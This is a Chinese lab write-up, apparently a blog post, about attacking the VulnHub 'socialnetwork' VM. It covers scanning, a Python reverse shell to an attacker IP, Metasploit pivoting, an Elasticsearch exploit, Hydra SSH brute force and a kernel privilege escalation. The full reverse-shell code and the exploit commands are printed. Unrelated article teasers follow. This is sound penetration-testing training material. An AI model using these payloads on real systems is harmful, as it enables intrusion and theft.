vulnhub渗透测试靶场练习1

news2024/11/24 16:55:14

靶场介绍

靶场名:Medium_socialnetwork
下载地址:https://www.vulnhub.com/entry/boredhackerblog-social-network,454/

环境搭建

靶机建议选择VM VirtualBox,我一开始尝试使用VMware时会报错,所以改用VM VirtualBox,攻击机使用的是VMware中的kali,需要将VMware虚拟机kali和virtualbox靶机网络连接设置,参考链接如下:
https://blog.csdn.net/xujj10086/article/details/123836792
运行好的靶场:
在这里插入图片描述

靶场练习

1.扫ip,扫端口

使用arp-scan进行靶场地址探测

arp-scan是Kali Linux自带的一款ARP扫描工具。该工具可以进行单一目标扫描,也可以进行批量扫描。批量扫描的时候,用户可以通过CIDR
地址范围或者列表文件的方式指定。该工具允许用户定制ARP包,构建非标准数据包。同时,该工具会自动解析Mac地址,给出MAC对应的硬件厂商,帮助用户确认目标。

arp-scan -l

在这里插入图片描述
探测到靶场ip为192.168.0.194
使用nmap扫描端口,发现开放了22的ssh服务端口和5000端口,猜测5000端口为web服务端口。
在这里插入图片描述
访问192.168.0.194:5000
在这里插入图片描述
英语不好,开个翻译看看,原来是一个留言网站
在这里插入图片描述
输入个123提示长度不够,输入123456成功留言
在这里插入图片描述
在这里插入图片描述

2.扫目录,登后台

暂时没啥思路,那就扫目录,突然发现我kali里没安dirsearch,也对,我平时都直接在Windows里扫,那这次也就直接用Windows扫吧。
在这里插入图片描述
扫出来一个admin目录,应该是后台页面,访问一下在这里插入图片描述
好家伙,这是能直接执行代码,也太草率了吧
执行了一些linux命名,返回执行失败
在这里插入图片描述
直接看一眼wp,wp里说信息收集时发现是python写的网站,我咋没发现,用Wappalyzer也没识别出来
在这里插入图片描述
百度发现在kali中有个工具可以查看网站指纹信息,whatweb,于是尝试一下,果然发现使用了python
在这里插入图片描述

利用执行python代码功能反弹shell

使用反弹shell命令生成的平台,很方便
https://forum.ywhack.com/shell.php
在这里插入图片描述
kali先开启监听
直接复制过去还是执行不了的,因为这里给的都是在命令行里执行的形式,页面中也提示了使用exec()函数执行
在这里插入图片描述
最后输入代码如下:

import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect((“192.168.0.3”,5555));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call([“/bin/sh”,“-i”]);

成功反弹shell
在这里插入图片描述

对获取到的shell进行信息收集

先使用ls命令看一下目录,发现有Docker文件,说明网站可能存在于docker容器中
在这里插入图片描述
使用ip a 或者ifconfig查看ip,发现ip地址和我们不一样,说明可能是docker环境
在这里插入图片描述
在这里插入图片描述

判断是否docker环境

方法一:判断根目录下 .dockerenv 文件

ls -alh /.dockerenv #非docker环境,没有这个.dockerenv文件
在这里插入图片描述

方法二:查询系统进程的cgroup信息

cat /proc/1/cgroup
Docker环境执行如下
在这里插入图片描述

通过这两种方式的验证,证实了我们现在是在docker环境中,也就是在内网环境中

内网探测,使用msf

因为处于内网,而且这里的子网掩码有16位,那么使用一个ping -c 1 ip去探测会过于漫长

所以我们使用一个循环代码进行探测

for i in $(seq 1 254);do ping -c 1 172.17.0.$i;done

在这里插入图片描述
发现一共存活了三个ip分别是172.17.0.1,172.17.0.2,172.17.0.3
为了接下来的探测方便,我们这里使用msf再次反弹shell

在这里插入图片描述
使用background将shell会话保存在msf中,方便以后直接连接,然后使用sessions -u 1 将普通的shell升级为meterpreter的shell,相对于普通的shell会有更多的功能

在这里插入图片描述

自动添加路由、添加代理

首先使用sessions 2 进入meterpreter中
在这里插入图片描述

run autoroute -p #打印活动路由表
run post/multi/manage/autoroute #自动创建路由
bg #将当前会话移动到后台 bg - background的别名
route print #查看路由表命令
在这里插入图片描述

添加代理,设置SRVPORT为1234

use auxiliary/server/socks_proxy
在这里插入图片描述

vi /etc/proxychains.conf #添加代理
在这里插入图片描述

使用代理探测内网ip信息

proxychains nmap -sV -sT 172.17.0.1
在这里插入图片描述

proxychains nmap -sV -sT 172.17.0.2
在这里插入图片描述
这里没跑出来,百度了一下,解决方法如下:
proxychains nmap -PN -sT 172.17.0.2
跑出来了9200端口
在这里插入图片描述

在kali中的火狐浏览器设置代理
在这里插入图片描述
访问172.17.0.2:9200
在这里插入图片描述

利用漏洞登录ssh

可以看到网站使用了elasticsearch1.4.2,我们去查一下这个版本所存在的漏洞

searchsploit elasticsearch
在这里插入图片描述
searchsploit -p 36337.py #查看第一个POC所在路径在这里插入图片描述
proxychains python2 /usr/share/exploitdb/exploits/linux/remote/36337.py 172.17.0.2 #执行poc脚本

在这里插入图片描述
ls发现有密码文件
在这里插入图片描述
查看后发现是md5值
在这里插入图片描述
将root用户的密码md5值放到md5在线解密网站上尝试解码,还真解出来了
在这里插入图片描述
尝试进行ssh连接,发现root登录不上ssh,于是又去看wp,发现原来这里是要使用暴力破解工具进行爆破,找出其中可以连接ssh的账号。使用的工具为Hydra(九头蛇),kali中就有。

先分别把这几条md5都解出来(这个就要各显神通了),放到一个txt中,将用户名也放到一个txt中,准备好后就可以上九头蛇了。
在这里插入图片描述

hydra -L user.txt -P pass.txt ssh://192.168.0.194

很顺利的跑出了可以登录ssh的用户和密码
在这里插入图片描述
然后我们使用这个账号密码进行ssh登录

ssh john@192.168.0.194

在这里插入图片描述
成功登录

提权

提权这方面我了解的比较少,就直接跟着wp走了
先尝试sudo提权,失败
在这里插入图片描述
查看有无suid权限的文件,没有
在这里插入图片描述
在这里插入图片描述

uname -a 显示系统信息

在这里插入图片描述
可以看出linux内核版本为3.13.0,于是查找一下这个版本有无漏洞

searchsploit Linux 3.13.0

在这里插入图片描述
可以看到37292.c比较合适,查看一下脚本的绝对路径
在这里插入图片描述
查看代码,发现需要gcc编译(我看不懂,代码审计水平太菜了)
在这里插入图片描述
靶机环境中没有gcc
在这里插入图片描述
那么我们将编译好的文件和修改过的c代码运送到靶机运行,将代码里面要到gcc编译的地方删除(真是个好方法,大佬动手能力太强了)
将下图中选中的代码删除:
在这里插入图片描述

搜索编译好的ofs-lib.so
在这里插入图片描述
将37292.c编译,生成exp文件

gcc 37292.c -o exp

在这里插入图片描述
使用python将文件上传到靶机中
攻击机这边开启临时服务
在这里插入图片描述
靶机那边使用wget命令下载文件
在这里插入图片描述
因为编译的文件要在/tmp目录下,将文件转移到/tmp目录下
在这里插入图片描述
执行脚本,提权成功,获得root权限
在这里插入图片描述

总结

1.这是我第一次进行渗透测试靶场的练习,断断续续打了一整天,而且还是一直看着wp打的,感觉很多东西都是第一次接触。
2.对kali中的工具了解较少,msf的使用也不够熟练,linux命令也不够熟悉,提权部分修改代码那部分更是超出了我的能力范围,虽然能理解将代码中需要编译的东西在外面直接编译好再发过去这个操作,但是光凭自己去看代码的话肯定是看不出来要删哪部分代码的。
3.九头蛇这个工具也是第一次用,感觉很强大。
4.判断是否docker环境的操作也是第一次见识到,学到了很多。

参考链接

感谢大佬们的wp,没有大佬的wp,我寸步难行。

http://www.syrr.cn/news/35168.html?action=onClick
https://mp.weixin.qq.com/s/kkGPzcaNgr17488cUWAg8Q

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/549256.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

魔改车钥匙实现远程控车:(前传)在macOS上安装使用Arduino

前言 因为最近有个需求需要硬件支持,原本打算使用 Arduino Nano,后来在 Boot 大佬的建议下,买了某宇宙家的 ESP32C3 核心板,对比 Arduino Nano 价格便宜了一大半,而且自身就集成了 WIFI 和 BLE 模块,还不用…

(一)before initialization of D3D(初始化D3D之前你需要了解的D3D基础知识)

什么是D3D? D3D全称Direct X 3D,即一组API可以用来针对GPU编程,不过他最主要的作用是用来渲染(不过现在也有很多其他应用比如d3d11va[Direct X 3D 11 Video API]用来进行硬件加速解码) Tips:Direct X 3D主要用来渲染,既然我们说到可以针对GPU编程了,当然不只是渲染的工作可以…

国考省考行测:数量关系,牛吃草问题,比例问题

国考省考行测:数量关系,牛吃草问题 2022找工作是学历、能力和运气的超强结合体! 公务员特招重点就是专业技能,附带行测和申论,而常规国考省考最重要的还是申论和行测,所以大家认真准备吧,我讲一起屡屡申论…

〖Python网络爬虫实战㉘〗- Selenium案例实战(二)

订阅:新手可以订阅我的其他专栏。免费阶段订阅量1000 python项目实战 Python编程基础教程系列(零基础小白搬砖逆袭) 说明:本专栏持续更新中,目前专栏免费订阅,在转为付费专栏前订阅本专栏的,可以免费订阅付…

图神经网络(处理点云)PPFNet的实现

文章说明: 1)参考资料:PYG官方文档。超链。 2)博主水平不高,如有错误还望批评指正。 3)我在百度网盘上传了这篇文章的jupyter notebook和有关文献。超链。提取码8848。 文章目录 前言文献阅读代码实操历史遗留问题 前言 本篇文章接上一篇文章…

今年的面试难度,我给跪了……

大家好,最近有不少小伙伴在后台留言,又得准备面试了,不知道从何下手! 不论是跳槽涨薪,还是学习提升!先给自己定一个小目标,然后再朝着目标去努力就完事儿了! 为了帮大家节约时间&a…

【STM32G431RBTx】备战蓝桥杯嵌入式→决赛试题→第七届

文章目录 前言一、题目二、模块初始化三、代码实现interrupt.h:interrupt.h:main.h:main.h: 四、完成效果五、总结 前言 无 一、题目 二、模块初始化 1.LCD这里不用配置,直接使用提供的资源包就行 2.ADC:开启ADCsingle-ended 3.LED:开启PC8-15,PD2输出模式就行了…

手撕代码——同步FIFO

手撕代码——同步FIFO 一、FIFO原理与设计二、完整代码与仿真结果三、仿真结果 一、FIFO原理与设计 查看Xilinx官方FIFO IP核,其主要的信号有时钟信号、写端口信号、读端口信号,其中,写端口信号包括写满信号full、写使能信号wr_en、写数据输入…

[元带你学: eMMC完全解读 7] eMMC 设备与系统概述

依JEDEC eMMC 5.1及经验辛苦整理,付费内容,禁止转载。 所在专栏 《元带你学: eMMC完全解读》 前言 全文3600 字, 全文介绍eMMC 内部系统框架, Bus 总线宽度, 总线Speed Mode, 了解即可。对应Bus 总线重点看 8 Bit 即可, Speed Mode 重点看 HS400。几乎所有的系统都是跑在…

Java并发编程-synchronized

目录 1. synchronized在jdk 1.6中的优化 1.1 锁消除 1.2 锁粗化 1.2 锁升级/锁膨胀 1.2.1 锁升级原理 1.2.2 自适应自旋锁 2. synchronized实现原理 3. synchronized和Lock的对比 1. synchronized在jdk 1.6中的优化 在JDK1.5的时候,Doug Lee推出了ReentrantLock,lock的…

【密码学复习】第九讲 密钥管理(一)

密钥管理简介 • 柯克霍夫斯原则(Kerckhoffs Principle) 即使密码系统的任何细节已为人悉知,只要密钥未泄漏,它也应是安全的(19世纪). 密钥安全:三分技术,七分管理 密钥管理就是在授权各方之间实现密钥关系的建立和维护…

dom4j 读取xml配置文件,根据配置文件利用反射创建对象

pom.xml <?xml version"1.0" encoding"UTF-8"?> <project xmlns"http://maven.apache.org/POM/4.0.0"xmlns:xsi"http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation"http://maven.apache.org/POM/4.0.0 …

maven打包命令打出的可执行的jar包和可依赖的jar包的区别

目录 引出问题: 介绍打包插件 下面开始打包: 解压比较这两个jar包的区别: 引出问题: 当我建了一个maven的springboot项目A写了一个工具类,我把A项目打包成jar包去给B项目用,结果 B项目报错找不到这个jar包. 百度后发现原来jar包分为可执行jar包和可被依赖的jar包 介绍打包…

二、医院设置管理

文章目录 一、医院设置管理1、项目开发流程1.1 定义路由模块1.2 定义api模块1.3 定义页面组件脚本1.4 定义页面组件模板1.5 测试数据通信1.6 跨域处理 2、分页查询2.1 定义页面组件脚本2.2 定义页面组件模板2.3 表单查询 3、删除3.1 定义api模块3.2 定义页面组件模板3.3 定义页…

Midjourney|文心一格prompt教程[进阶篇]:Midjourney Prompt 高级参数、各版本差异、官方提供常见问题

Midjourney|文心一格prompt教程[进阶篇]&#xff1a;Midjourney Prompt 高级参数、各版本差异、官方提供常见问题 1.Midjourney Prompt 高级参数 Quality 图片质量是另一个我比较常用的属性&#xff0c;首先需要注意这个参数并不影响分辨率&#xff0c;并不改变分辨率&#x…

【C++】实现一个日期计算器

&#x1f307;个人主页&#xff1a;平凡的小苏 &#x1f4da;学习格言&#xff1a;命运给你一个低的起点&#xff0c;是想看你精彩的翻盘&#xff0c;而不是让你自甘堕落&#xff0c;脚下的路虽然难走&#xff0c;但我还能走&#xff0c;比起向阳而生&#xff0c;我更想尝试逆风…

线程池学习

一、线程池的7个核心参数说明&#xff1a; corePoolSize&#xff1a;核心线程数 maximumPoolSize&#xff1a;最大线程数 keepAliveTime&#xff1a;最大空闲时间 unit&#xff1a;最大空闲时间单位 workQueue&#xff1a;任务队列 threadFactory&#xff1a;表示生成线程…

1.Hyperledger Fabric架构介绍

&#xff08;1&#xff09;Hyperledger定义&#xff1a; Hyperledger是一个开放源代码的区块链项目合作组织&#xff0c;旨在推动跨行业的企业级区块链解决方案的发展。该项目由Linux基金会于2015年发起&#xff0c;致力于建立一个可靠、安全和可扩展的区块链框架和工具集。Hy…

堆结构 - 大根堆、小根堆

在开发语言中&#xff0c;heap在使用层次的名字叫PriorityQueue&#xff08;优先级队列&#xff09;&#xff0c;PriorityQueue数据结构的名字就叫做堆&#xff0c;底层就是用堆结构实现的。 完全二叉树 空树也算是完全二叉树每一层都是满的也算是完全二叉树如果层不满&#…

魔改车钥匙实现远程控车:(番外)在macOS上安装使用MicroPython

前言 哈哈&#xff0c;各位可能会奇怪为啥上一篇文章还在说怎么在 ESP32C3 上安装 Arduino&#xff0c;现在怎么又变成了安装 MIcroPython。 其实是因为上次写 Arduino 还是我高中时候的事了&#xff0c;已经不太会了。 虽然 MIcroPython 我从来没有接触过&#xff0c;但是 …